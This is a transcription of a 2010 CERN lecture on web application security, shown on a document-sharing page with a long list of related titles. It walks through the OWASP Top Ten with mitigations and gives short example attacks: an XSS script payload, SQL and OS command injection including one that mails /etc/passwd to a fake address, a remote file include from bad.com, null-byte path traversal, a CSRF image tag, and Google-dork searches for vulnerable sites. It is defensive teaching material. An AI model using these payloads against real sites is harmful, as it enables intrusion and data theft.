Web application security



Similar documents
Web application security

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Where every interaction matters.

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Magento Security and Vulnerabilities. Roman Stepanov

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

The Top Web Application Attacks: Are you vulnerable?

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

What is Web Security? Motivation

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Check list for web developers

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

Web Application Firewall on SonicWALL SSL VPN

Hack Proof Your Webapps

Testing the OWASP Top 10 Security Issues

Web Application Security

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Rational AppScan & Ounce Products

Intrusion detection for web applications

Last update: February 23, 2004

Web Application Firewall on SonicWALL SRA

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Columbia University Web Security Standards and Practices. Objective and Scope

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

Essential IT Security Testing

Criteria for web application security check. Version

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

(WAPT) Web Application Penetration Testing

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Web Application Report

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

OWASP AND APPLICATION SECURITY

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

Cloud Security:Threats & Mitgations

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Sitefinity Security and Best Practices

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Certified Secure Web Application Security Test Checklist

Adobe Systems Incorporated

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Application Security Testing. Generic Test Strategy

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

OWASP Top Ten Tools and Tactics

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Web Application Security Considerations

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

05.0 Application Development

Attack Vector Detail Report Atlassian

Lecture 11 Web Application Security (part 1)

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

WEB APPLICATION SECURITY

Enterprise Application Security Workshop Series

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Web Application Security

Sichere Software- Entwicklung für Java Entwickler

Web Application Guidelines

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Cyber Security Workshop Ethical Web Hacking

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Web App Security Audit Services

Integrating Security Testing into Quality Control

Barracuda Web Site Firewall Ensures PCI DSS Compliance

Webapps Vulnerability Report

Web Security Testing Cookbook*

Web Application Penetration Testing

TECHNICAL AUDITS FOR CERTIFYING EUROPEAN CITIZEN COLLECTION SYSTEMS

Web Application Vulnerability Testing with Nessus

APPLICATION SECURITY AND ITS IMPORTANCE

The Weakest Link: Mitigating Web Application Vulnerabilities. webscurity White Paper. webscurity Inc. Minneapolis, Minnesota USA

Implementation of Web Application Firewall

Secure development and the SDLC. Presented By Jerry

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

PCI-DSS and Application Security Achieving PCI DSS Compliance with Seeker

Security Testing with Selenium

Cloud Security Framework (CSF): Gap Analysis & Roadmap

Application Security Vulnerabilities, Mitigation, and Consequences

elearning for Secure Application Development

Cross-Site Scripting

Securing your Web application

Table of Contents. Page 2/13

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Web Engineering Web Application Security Issues

Data Breaches and Web Servers: The Giant Sucking Sound

Hacking de aplicaciones Web

Certified Secure Web Application Secure Development Checklist

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

ETHICAL HACKING APPLICATIO WIRELESS110 00NETWORK APPLICATION MOBILE MOBILE0001

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Cross Site Scripting in Joomla Acajoom Component

Transcription:

Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010

(non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0 = root if (uid == 0) { return 0; } } setuid(uid); return 1; 2 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Outline Web applications - threats An incident HTTP - a quick reminder Google hacking OWASP Top Ten vulnerabilities with examples! More on Web server hardening, PHP etc. 3 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Focus on Web applications why? Web applications are: often much more useful than desktop software => popular often publicly available easy target for attackers finding vulnerable sites, automating and scaling attacks easy to develop not so easy to develop well and securely often vulnerable, thus making the server, the database, internal network, data etc. insecure 4 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Threats Web defacement loss of reputation (clients, shareholders) fear, uncertainty and doubt information disclosure (lost data confidentiality) e.g. business secrets, financial information, client database, medical data, government documents data loss (or lost data integrity) unauthorized access functionality of the application abused denial of service loss of availability or functionality (and revenue) foot in the door (attacker inside the firewall) 5 Creating Secure Software Sebastian Lopienski, CERN IT Dept

An incident in September 2008 6 Creating Secure Software Sebastian Lopienski, CERN IT Dept

HTTP etc. a quick reminder Web browser (IE, Firefox ) GET /index.html HTTP/1.1 HTTP/1.1 200 OK Web server (Apache, IIS ) POST login.php HTTP/1.1 Referer: index.html [ ] username=abc&password=def HTTP/1.1 200 OK Set-Cookie: SessionId=87325 Executing PHP login.php executing JavaScript GET /list.php?id=3 HTTP/1.1 Cookie: SessionId=87325 HTTP/1.1 200 OK 7 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Session management HTTP is a stateless protocol each request and response pair is independent from others Session management to enable user sessions (e.g. cart in an online shop) to make stateless HTTP support session state Session ID generated on the server and sent to the client (browser) provided then by the browser in each request to the server stored and transferred as a cookie, hidden form field etc. Weaknesses in session management often exploited various session hijacking techniques exist 8 Creating Secure Software Sebastian Lopienski, CERN IT Dept

HTTP etc. a quick reminder https http over SSL (Secure Socket Layer) provides encryption for the browser-server traffic prevents eavesdropping, and man-in-the-middle attacks (if certificate verification is done correctly) does not prevent attacks on the client side (Cross-site scripting) or the server side (SQL Injection) helps users ensure the authenticity of the server Basic http authentication: weak, limited functionality use only if really needed, and only over https 9 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Google hacking Finding (potentially) vulnerable Web sites is easy with Google hacking Use special search operators: (more at http://google.com/help/operators.html) only from given domain (e.g. abc.com): site:abc.com only given file extension (e.g. pdf): filetype:pdf given word (e.g. secret) in page title: intitle:secret given word (e.g. upload) in page URL: inurl:upload Run a Google search for: intitle:index.of.bash_history -inurl:https login "Cannot modify header information" "ORA-00933: SQL command not properly ended" Thousands of queries possible! (look for GHDB, Wikto) 10 Creating Secure Software Sebastian Lopienski, CERN IT Dept

OWASP Top Ten OWASP (Open Web Application Security Project) Top Ten flaws http://owasp.org/index.php/category:owasp_top_ten_project Cross Site Scripting (XSS) Injection Flaws Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access 11 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#1: Cross-site scripting (XSS) Cross-site scripting (XSS) vulnerability an application takes user input and sends it to a Web browser without validation or encoding attacker can execute JavaScript code in the victim's browser to hijack user sessions, deface web sites etc. Reflected XSS value returned immediately to the browser http://site.com/search?q=abc http://site.com/search?q=<script>alert("xss");</script> Persistent XSS value stored and reused (all visitors affected) http://site.com/add_comment?txt=great! http://site.com/add_comment?txt=<script>...</script> Solution: validate user input, encode HTML output 12 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Code tools: Pixy (for PHP) 13 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#2: Injection flaws Executing code provided (injected) by attacker SQL injection select count(*) from users where name = $name and pwd = anything or x = x ; OS command injection cat confirmation mail me@fake.com; cat /etc/passwd mail me@real.com LDAP, XPath, SSI injection etc. Solutions: validate user input escape values (use escape functions) use parameterized queries (SQL) -> \ enforce least privilege when accessing a DB, OS etc. 14 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#3: Malicious file execution Remote, hostile content provided by the attacker is included, processed or invoked by the web server Remote file include (RFI) and Local file include attacks: include($_get["page"]. ".php"); http://site.com/?page=index > include("index.php"); http://site.com/?page=http://bad.com/exploit > include("http://bad.com/exploit.php"); http://site.com/?page=c:\ftp\upload\exploit.png%00 > include("c:\ftp\upload\exploit.png"); Solution: validate input, harden PHP config string ends at %00, so.php not added 15 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#4: Insecure Direct Object Reference Attacker manipulates the URL or form values to get unauthorized access to objects (data in a database, objects in memory etc.): http://shop.com/cart?id=413246 (your cart) http://shop.com/cart?id=123456 (someone else s cart?) to files: http://s.ch/?page=home -> home.php http://s.ch/?page=/etc/passwd%00 -> /etc/passwd Solution: avoid exposing IDs, keys, filenames to users if possible validate input, accept only correct values string ends at %00, so.php not added verify authorization to all accessed objects (files, data etc.) 16 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#5: Cross-site request forgery Cross-site request forgery (CSRF) a scenario Alice logs in at bank.com, and forgets to log out Alice then visits a evil.com (or just webforums.com), with: <img src="http://bank.com/ transfer?amount=1000000&to_account=123456789"> Alice s browser wants to display the image, so sends a request to bank.com, without Alice s consent if Alice is still logged in, then bank.com accepts the request and performs the action, transparently for Alice (!) There is no simple solution, but the following can help: expire early user sessions, encourage users to log out use double submit cookies and/or secret hidden fields use POST rather than GET, and check referer value 17 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#7: Broken session management Understand session hijacking techniques, e.g.: session fixation (attacker sets victim s session id) stealing session id: eavesdropping (if not https), XSS Trust the solution offered by the platform / language and follow its recommendations (for code, configuration etc.) Additionally: generate new session ID on login (do not reuse old ones) use cookies for storing session id set session timeout and provide logout possibility consider enabling same IP policy (not always possible) check referer (previous URL), user agent (browser version) require https (at least for the login / password transfer) 18 Creating Secure Software Sebastian Lopienski, CERN IT Dept

#10: Failure to Restrict URL Access Hidden URLs that don t require further authorization to actions: http://site.com/admin/adduser?name=x&pwd=x (even if http://site.com/admin/ requires authorization) to files: http://site.com/internal/salaries.xls http://me.com/no/one/will/guess/82534/me.jpg Problem: missing authorization Solution add missing authorization don t rely on security by obscurity it will not work! 19 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Client-server no trust Security on the client side doesn t work (and cannot) don t rely on the client to perform security checks (validation etc.) e.g. <input type= text maxlength= 20 > is not enough authentication should be done on the server side, not by the client Don t trust your client HTTP response header fields like referrer, cookies etc. HTTP query string values (from hidden fields or explicit links) e.g. <input type= hidden name= price value= 299 > in an online shop can (and will!) be abused Do all security-related checks on the server Don t expect your clients to send you SQL queries, shell commands etc. to execute it s not your code anymore Put limits on the number of connections, set timeouts 20 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Advice Protect code and data make sure they can t be simply accessed / downloaded: password files (and other data files).htaccess file (and other configuration files).bak,.old,.php~ etc. files with application source code Forbid directory indexing (listing) in Apache: Options Indexes 21 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Harden the Web server strip-down the system configuration only necessary packages, accounts, processes & services patch OS, Web server, and Web applications use automatic patching if available use a local firewall allow only what is expected (e.g. no outgoing connections) harden Web server configuration incl. programming platform (J2EE, PHP etc.) configuration run Web server as a regular (non-privileged) user use logs review regularly, store remotely 22 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Programming in PHP Read http://phpsec.org/projects/guide/ Disable allow_url_fopen and allow_url_include Disable register_globals Use E_STRICT to find uninitialized variables Disable display_errors Don t leave phpinfo() files in the production version Google search: intitle:phpinfo filetype:php 24 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Summary understand threats and typical attacks validate, validate, validate (!) do not trust the client read and follow recommendations for your language harden the Web server and programming platform configuration 25 Creating Secure Software Sebastian Lopienski, CERN IT Dept

An incident in September 2008 26 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Thank you! Bibliography and further reading: http://cern.ch/securesoftware Sebastian.Lopienski@cern.ch Questions? 27 Creating Secure Software Sebastian Lopienski, CERN IT Dept